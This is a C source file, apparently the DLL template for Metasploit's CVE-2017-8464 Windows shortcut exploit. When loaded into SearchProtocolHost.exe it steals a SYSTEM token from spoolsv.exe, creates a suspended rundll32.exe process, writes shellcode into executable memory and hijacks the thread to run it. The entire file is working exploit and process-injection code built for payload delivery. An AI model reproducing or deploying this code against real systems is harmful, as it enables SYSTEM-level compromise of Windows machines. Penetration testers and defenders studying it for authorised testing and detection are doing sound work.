metasploit-framework/external/source/exploits/cve-2017-8464/template.c

242 lines
5.7 KiB
C

#include <windows.h>
#include <sddl.h>
#include <tchar.h>
#include <tlhelp32.h>
#include <userenv.h>
#include "template.h"
void ExecutePayload(HANDLE hDll);
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
ExecutePayload(hDll);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
int result;
if (strlen(szStr) < strlen(szSuffix)) {
return FALSE;
}
if (bCaseSensitive) {
result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
}
else {
result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
}
return result == 0;
}
BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
HANDLE hToken;
DWORD dwLength = 0;
TOKEN_USER *tuUser = NULL;
SIZE_T szSid = 0;
*pSid = NULL;
if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
return FALSE;
}
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
tuUser = (TOKEN_USER *)malloc(dwLength);
if (!tuUser) {
return FALSE;
}
if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
free(tuUser);
return FALSE;
}
szSid = GetLengthSid(tuUser->User.Sid);
*pSid = LocalAlloc(LPTR, szSid);
if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {
LocalFree(*pSid);
*pSid = NULL;
}
free(tuUser);
CloseHandle(hToken);
return *pSid != NULL;
}
BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
PSID pTestSid = NULL;
PSID pTargetSid = NULL;
if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
return FALSE;
}
if (!GetProcessSid(hProc, &pTestSid)) {
LocalFree(pTargetSid);
return FALSE;
}
*pbResult = EqualSid(pTestSid, pTargetSid);
LocalFree(pTargetSid);
LocalFree(pTestSid);
return TRUE;
}
DWORD FindProcessId(LPCTSTR szProcessName) {
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
DWORD result = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
CloseHandle(hProcessSnap);
return 0;
}
do {
if (!strcmp(szProcessName, pe32.szExeFile)) {
result = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return result;
}
HANDLE GetPayloadToken(void) {
HANDLE hTokenHandle = NULL;
HANDLE hProcessHandle = NULL;
BOOL bIsSystem = FALSE;
DWORD dwPid = 0;
CHAR Path[MAX_PATH + 1];
ZeroMemory(Path, sizeof(Path));
GetModuleFileNameA(NULL, Path, MAX_PATH);
if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
return NULL;
}
/* loaded into the context of SearchProtocolHost.exe */
if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
return NULL;
}
/* and running as NT_AUTHORITY SYSTEM */
dwPid = FindProcessId("spoolsv.exe");
if (!dwPid) {
return NULL;
}
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
if (!hProcessHandle) {
return NULL;
}
bIsSystem = FALSE;
if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
return NULL;
}
/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
CloseHandle(hProcessHandle);
return hTokenHandle;
}
DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
/* wait for the process to exit or 10 seconds before cleaning up */
WaitForSingleObject(pExploitData->hProcess, 10000);
CloseHandle(pExploitData->hProcess);
CloseHandle(pExploitData->hMutex);
/* this does not return */
FreeLibraryAndExitThread(pExploitData->hModule, 0);
return 0;
}
void ExecutePayload(HANDLE hDll) {
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
LPVOID ep;
SECURITY_ATTRIBUTES MutexAttributes;
SIZE_T dwBytesWritten = 0;
PEXPLOIT_DATA pExploitData = NULL;
HANDLE hToken;
pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
if (!pExploitData) {
return;
}
/* keep a reference to the module for synchronization purposes */
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
MutexAttributes.nLength = sizeof(MutexAttributes);
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
if (!pExploitData->hMutex) {
return;
}
if (GetLastError() == ERROR_ALREADY_EXISTS) {
CloseHandle(pExploitData->hMutex);
return;
}
if (GetLastError() == ERROR_ACCESS_DENIED) {
CloseHandle(pExploitData->hMutex);
return;
}
hToken = GetPayloadToken();
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
/* start up the payload in a new process */
if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
if (dwBytesWritten == SCSIZE) {
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
pExploitData->hProcess = pi.hProcess;
}
}
if (hToken) {
CloseHandle(hToken);
}
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
}